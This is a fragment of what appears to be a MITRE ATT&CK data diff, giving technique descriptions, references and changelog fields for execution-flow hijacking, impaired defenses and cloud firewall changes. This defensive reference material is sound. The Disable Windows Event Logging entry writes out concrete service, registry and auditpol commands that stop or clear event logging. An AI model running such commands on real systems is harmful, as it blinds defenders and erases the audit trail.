+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "macOS"
+ ],
+ "x_mitre_version": "2.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"File: File Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.243000+00:00\", \"old_value\": \"2025-04-15 19:59:24.300000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \\n\\nRun path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \\n-\\n-Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)\"}}}",
+ "previous_version": "2.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0011: Module (Module Load)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0152: Detection Strategy for Hijack Execution Flow: Dylib Hijacking"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-13 20:09:59.569000+00:00",
+ "modified": "2025-10-24 17:48:51.810000+00:00",
+ "name": "Dynamic Linker Hijacking",
+ "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from various environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) Each platform's linker uses an extensive list of environment variables at different points in execution. These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions in the original library.(Citation: Baeldung LD_PRELOAD)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. For example, adversaries have used `LD_PRELOAD` to inject a malicious library into every descendant process of the `sshd` daemon, resulting in execution under a legitimate process. When the executing sub-process calls the `execve` function, for example, the malicious library\u2019s `execve` function is executed rather than the system function `execve` contained in the system library on disk. This allows adversaries to [Hide Artifacts](https://attack.mitre.org/techniques/T1564) from detection, as hooking system functions such as `execve` and `readdir` enables malware to scrub its own artifacts from the results of commands such as `ls`, `ldd`, `iptables`, and `dmesg`.(Citation: ESET Ebury Oct 2017)(Citation: Intezer Symbiote 2022)(Citation: Elastic Security Labs Pumakit 2024)\n\nHijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1574/006",
+ "external_id": "T1574.006"
+ },
+ {
+ "source_name": "Apple Doco Archive Dynamic Libraries",
+ "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021.",
+ "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
+ },
+ {
+ "source_name": "Baeldung LD_PRELOAD",
+ "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021.",
+ "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is"
+ },
+ {
+ "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES",
+ "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.",
+ "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/"
+ },
+ {
+ "source_name": "Intezer Symbiote 2022",
+ "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
+ "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
+ },
+ {
+ "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass",
+ "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021.",
+ "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191"
+ },
+ {
+ "source_name": "Man LD.SO",
+ "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020.",
+ "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html"
+ },
+ {
+ "source_name": "Elastic Security Labs Pumakit 2024",
+ "description": "Remco Sprooten and Ruben Groenewoud. (2024, December 11). Declawing PUMAKIT. Retrieved March 24, 2025.",
+ "url": "https://www.elastic.co/security-labs/declawing-pumakit"
+ },
+ {
+ "source_name": "TLDP Shared Libraries",
+ "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020.",
+ "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
+ },
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+ "source_name": "Timac DYLD_INSERT_LIBRARIES",
+ "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.",
+ "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/"
+ },
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+ "source_name": "ESET Ebury Oct 2017",
+ "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021.",
+ "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/"
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+ "source_name": "mozilla_sec_adv_2012",
+ "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
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+ "source_name": "Executable Installers are Vulnerable",
+ "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.",
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+ "source_name": "FinFisher exposed ",
+ "description": "Microsoft Defender Security Research Team. (2018, March 1). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved January 27, 2022.",
+ "url": "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"
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+ "description": "Microsoft. (2021, November 23). NtQueryInformationProcess function (winternl.h). Retrieved February 4, 2022.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess"
+ },
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+ "source_name": "Windows Process Injection KernelCallbackTable",
+ "description": "odzhan. (2019, May 25). Windows Process Injection: KernelCallbackTable used by FinFisher / FinSpy. Retrieved February 4, 2022.",
+ "url": "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/"
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+ "source_name": "Lazarus APT January 2022",
+ "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.",
+ "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"
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+ "url": "https://attack.mitre.org/techniques/T1574/007",
+ "external_id": "T1574.007"
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+ "source_name": "Elastic Rules macOS launchctl 2022",
+ "description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.",
+ "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"
+ },
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+ "source_name": "ExpressVPN PATH env Windows 2021",
+ "description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.",
+ "url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"
+ },
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+ "source_name": "uptycs Fake POC linux malware 2023",
+ "description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.",
+ "url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
+ },
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+ "source_name": "nixCraft macOS PATH variables",
+ "description": "Vivek Gite. (2023, August 22). MacOS \u2013 Set / Change $PATH Variable Command. Retrieved September 28, 2023.",
+ "url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"
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+ "dropped": []
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+ "created": "2020-03-13 17:48:58.999000+00:00",
+ "modified": "2025-10-24 17:48:49.665000+00:00",
+ "name": "Path Interception by Search Order Hijacking",
+ "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).",
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+ "url": "https://attack.mitre.org/techniques/T1574/008",
+ "external_id": "T1574.008"
+ },
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+ "source_name": "Microsoft Environment Property",
+ "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"
+ },
+ {
+ "source_name": "Microsoft CreateProcess",
+ "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
+ },
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+ "source_name": "Microsoft WinExec",
+ "description": "Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec"
+ },
+ {
+ "source_name": "Windows NT Command Shell",
+ "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.",
+ "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120"
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+ "name": "Path Interception by Unquoted Path",
+ "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
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+ "external_id": "T1574.009"
+ },
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+ "source_name": "Windows Privilege Escalation Guide",
+ "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
+ "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
+ },
+ {
+ "source_name": "Windows Unquoted Services",
+ "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
+ "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"
+ },
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+ "source_name": "Help eliminate unquoted path",
+ "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.",
+ "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
+ },
+ {
+ "source_name": "Microsoft CurrentControlSet Services",
+ "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
+ }
+ ],
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+ "created": "2020-03-12 20:43:53.998000+00:00",
+ "modified": "2025-10-24 17:49:09.575000+00:00",
+ "name": "Services File Permissions Weakness",
+ "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1574/010",
+ "external_id": "T1574.010"
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+ "x_mitre_contributors": [
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+ "Stefan Kanthak"
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+ "x_mitre_platforms": [
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+ "M1018: User Account Management",
+ "M1047: Audit",
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+ "DS0009: Process (Process Creation)",
+ "DS0019: Service (Service Metadata)",
+ "DS0022: File (File Creation)",
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+ "new": [
+ "DET0436: Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness."
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+ "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 20:22:13.470000+00:00",
+ "modified": "2025-10-24 17:48:41.123000+00:00",
+ "name": "Impair Defenses",
+ "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\n\n",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562",
+ "external_id": "T1562"
+ },
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+ "source_name": "Google Cloud Mandiant UNC3886 2024",
+ "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
+ },
+ {
+ "source_name": "Emotet shutdown",
+ "description": "The DFIR Report. (2022, November 8). Emotet Strikes Again \u2013 LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.",
+ "url": "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/"
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+ "x_mitre_contributors": [
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+ "Liran Ravich, CardinalOps"
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+ "x_mitre_domains": [
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+ "x_mitre_platforms": [
+ "Windows",
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Containers",
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+ "Identity Provider",
+ "Office Suite",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.7",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Cloud Service: Cloud Service Disable\", \"Firewall: Firewall Rule Modification\", \"Command: Command Execution\", \"Script: Script Execution\", \"Process: Process Modification\", \"Windows Registry: Windows Registry Key Deletion\", \"Process: Process Termination\", \"Service: Service Metadata\", \"Process: Process Metadata\", \"Cloud Service: Cloud Service Modification\", \"User Account: User Account Modification\", \"File: File Deletion\", \"Sensor Health: Host Status\", \"Process: OS API Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Driver: Driver Load\", \"Firewall: Firewall Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.123000+00:00\", \"old_value\": \"2025-04-15 19:58:24.596000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\\n\\nMonitor environment variables and APIs that can be leveraged to disable security measures.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\\n-\\n-Monitor environment variables and APIs that can be leveraged to disable security measures.\"}}}",
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+ "DS0013: Sensor Health (Host Status)",
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+ "DS0022: File (File Deletion)",
+ "DS0022: File (File Modification)",
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+ "DS0025: Cloud Service (Cloud Service Disable)",
+ "DS0025: Cloud Service (Cloud Service Modification)",
+ "DS0027: Driver (Driver Load)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0317: Detection Strategy for Impair Defenses Across Platforms"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-21 20:46:36.688000+00:00",
+ "modified": "2025-10-24 17:48:45.425000+00:00",
+ "name": "Disable Windows Event Logging",
+ "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System and HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/002",
+ "external_id": "T1562.002"
+ },
+ {
+ "source_name": "Disable_Win_Event_Logging",
+ "description": " dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.",
+ "url": "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging"
+ },
+ {
+ "source_name": "def_ev_win_event_logging",
+ "description": "Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.",
+ "url": "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/"
+ },
+ {
+ "source_name": "EventLog_Core_Technologies",
+ "description": "Core Technologies. (2021, May 24). Essential Windows Services: EventLog / Windows Event Log. Retrieved September 14, 2021.",
+ "url": "https://www.coretechnologies.com/blog/windows-services/eventlog/"
+ },
+ {
+ "source_name": "Audit_Policy_Microsoft",
+ "description": "Daniel Simpson. (2017, April 19). Audit Policy. Retrieved September 13, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy"
+ },
+ {
+ "source_name": "Windows Log Events",
+ "description": "Franklin Smith. (n.d.). Windows Security Log Events. Retrieved February 21, 2020.",
+ "url": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/"
+ },
+ {
+ "source_name": "disable_win_evt_logging",
+ "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
+ "url": "https://ptylu.github.io/content/report/report.html?report=25"
+ },
+ {
+ "source_name": "auditpol",
+ "description": "Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol"
+ },
+ {
+ "source_name": "winser19_file_overwrite_bug_twitter",
+ "description": "Naceri, A. (2021, November 7). Windows Server 2019 file overwrite bug. Retrieved April 7, 2022.",
+ "url": "https://web.archive.org/web/20211107115646/https://twitter.com/klinix5/status/1457316029114327040"
+ },
+ {
+ "source_name": "T1562.002_redcanaryco",
+ "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.",
+ "url": "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md"
+ },
+ {
+ "source_name": "Advanced_sec_audit_policy_settings",
+ "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.",
+ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings"
+ },
+ {
+ "source_name": "auditpol.exe_STRONTIC",
+ "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.",
+ "url": "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html"
+ },
+ {
+ "source_name": "evt_log_tampering",
+ "description": "svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.",
+ "url": "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"
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+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1024: Restrict Registry Permissions",
+ "M1047: Audit"
+ ],
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+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)"
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+ "DET0187: Detect disabled Windows event logging"
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+ },
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+ "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-06-24 16:55:46.243000+00:00",
+ "modified": "2025-10-24 17:48:58.515000+00:00",
+ "name": "Disable or Modify Cloud Firewall",
+ "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ",
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+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ ],
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1562/007",
+ "external_id": "T1562.007"
+ },
+ {
+ "source_name": "Expel IO Evil in AWS",
+ "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.",
+ "url": "https://expel.io/blog/finding-evil-in-aws/"
+ },
+ {
+ "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022",
+ "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_contributors": [
+ "Expel",
+ "Arun Seelagan, CISA"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
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+ "x_mitre_platforms": [
+ "IaaS"
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+ "M1018: User Account Management",
+ "M1047: Audit"
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+ "new": [],
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+ "changelog_datacomponent_detections": {
+ "shared": [],
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+ "dropped": [
+ "DS0018: Firewall (Firewall Disable)",
+ "DS0018: Firewall (Firewall Rule Modification)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0424: Detection Strategy for Disable or Modify Cloud Firewall"
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+ "dropped": []
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+ },
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+ "id": "attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d",
